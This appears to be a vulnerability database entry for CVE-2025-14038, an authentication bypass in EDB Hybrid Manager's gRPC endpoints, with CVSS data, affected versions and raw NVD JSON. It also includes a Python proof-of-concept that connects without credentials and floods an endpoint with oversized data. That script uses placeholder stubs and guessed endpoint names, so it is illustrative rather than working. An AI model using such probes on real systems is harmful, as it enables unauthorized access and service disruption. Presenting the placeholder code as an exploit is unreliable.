Security Vulnerability Report
中文
CVE-2025-14038 CVSS 7.0 HIGH

CVE-2025-14038

Published: 2025-12-15 18:15:47
Last Modified: 2026-02-18 16:04:04
Source: 20be33e2-bf35-4d13-8fad-18bd2f3e3659

Description

EDB Hybrid Manager contains a flaw that allows an unauthenticated attacker to directly access certain gRPC endpoints. This could allow an attacker to read potentially sensitive data or possibly cause a denial-of-service by writing malformed data to certain gRPC endpoints. This flaw has been remediated in EDB Hybrid Manager 1.3.3, and customers should consider upgrading to 1.3.3 as soon as possible. The flaw is due to a misconfiguration in the Istio Gateway, which manages authentication and authorization for the affected endpoints. The security policy relies on an explicit definition of required permissions in the Istio Gateway configuration, and the affected endpoints were not defined in the configuration. This allowed requests to bypass both authentication and authorization within a Hybrid Manager service. All versions of Hybrid Manager - LTS should be upgraded to 1.3.3, and all versions of Hybrid Manager - Innovation should be upgraded to 2025.12.

CVSS Details

CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:enterprisedb:hybrid_manager:*:*:*:*:lts:*:*:* - VULNERABLE
cpe:2.3:a:enterprisedb:hybrid_manager:*:*:*:*:innovation:*:*:* - VULNERABLE
EDB Hybrid Manager LTS (所有版本 < 1.3.3)
EDB Hybrid Manager Innovation (所有版本 < 2025.12)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import grpc import json # CVE-2025-14038 PoC - Unauthenticated gRPC Endpoint Access # Target: EDB Hybrid Manager (versions < 1.3.3) def exploit_hybrid_manager(target_host, target_port=50051): """ Exploit for CVE-2025-14038: Istio Gateway misconfiguration allows bypassing authentication on certain gRPC endpoints. Note: This PoC is for educational and authorized testing purposes only. """ # Example gRPC channel without authentication channel = grpc.insecure_channel(f'{target_host}:{target_port}') # Attempt to access protected gRPC endpoints # Endpoints that should require auth but bypassed due to misconfiguration try: # Example: Query internal service information # This should fail with auth error but succeeds due to vulnerability stub = some_service_pb2_grpc.InternalServiceStub(channel) response = stub.GetServiceInfo( some_service_pb2.ServiceInfoRequest(), metadata=[] # No credentials required! ) print(f"[!] Successfully accessed endpoint - Auth bypassed!") print(f"[+] Response: {response}") return True except grpc.RpcError as e: print(f"[-] Request failed: {e.code()} - {e.details()}") return False finally: channel.close() def check_dos_vulnerability(target_host): """ Test for DoS by sending malformed data to gRPC endpoints. """ channel = grpc.insecure_channel(f'{target_host}:50051') stub = some_service_pb2_grpc.ManagementServiceStub(channel) # Send malformed request data malformed_request = some_service_pb2.UpdateRequest( data='A' * 100000 # Oversized/malformed data ) try: response = stub.UpdateConfig(malformed_request) print("[*] Request processed (service may be vulnerable)") except Exception as e: print(f"[!] Service error: {e}") if __name__ == '__main__': import sys if len(sys.argv) < 2: print("Usage: python cve_2025_14038_poc.py <target_host>") sys.exit(1) target = sys.argv[1] exploit_hybrid_manager(target) check_dos_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14038", "sourceIdentifier": "20be33e2-bf35-4d13-8fad-18bd2f3e3659", "published": "2025-12-15T18:15:47.100", "lastModified": "2026-02-18T16:04:03.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "EDB Hybrid Manager contains a flaw that allows an unauthenticated attacker to directly access certain gRPC endpoints. This could allow an attacker to read potentially sensitive data or possibly cause a denial-of-service by writing malformed data to certain gRPC endpoints. This flaw has been remediated in EDB Hybrid Manager 1.3.3, and customers should consider upgrading to 1.3.3 as soon as possible.\nThe flaw is due to a misconfiguration in the Istio Gateway, which manages authentication and authorization for the affected endpoints. The security policy relies on an explicit definition of required permissions in the Istio Gateway configuration, and the affected endpoints were not defined in the configuration. This allowed requests to bypass both authentication and authorization within a Hybrid Manager service.\nAll versions of Hybrid Manager - LTS should be upgraded to 1.3.3, and all versions of Hybrid Manager - Innovation should be upgraded to 2025.12."}], "metrics": {"cvssMetricV31": [{"source": "20be33e2-bf35-4d13-8fad-18bd2f3e3659", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 4.7}]}, "weaknesses": [{"source": "20be33e2-bf35-4d13-8fad-18bd2f3e3659", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}, {"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:enterprisedb:hybrid_manager:*:*:*:*:lts:*:*:*", "versionEndExcluding": "1.3.3", "matchCriteriaId": "6F71218D-EC98-4F63-9BDD-29538E045DDE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:enterprisedb:hybrid_manager:*:*:*:*:innovation:*:*:*", "versionEndExcluding": "2025.12.0", "matchCriteriaId": "01F426CB-3CB6-4906-8173-7A6D41275D8B"}]}]}], "references": [{"url": "https://www.enterprisedb.com/docs/security/advisories/cve202514038/", "source": "20be33e2-bf35-4d13-8fad-18bd2f3e3659", "tags": ["Vendor Advisory"]}]}}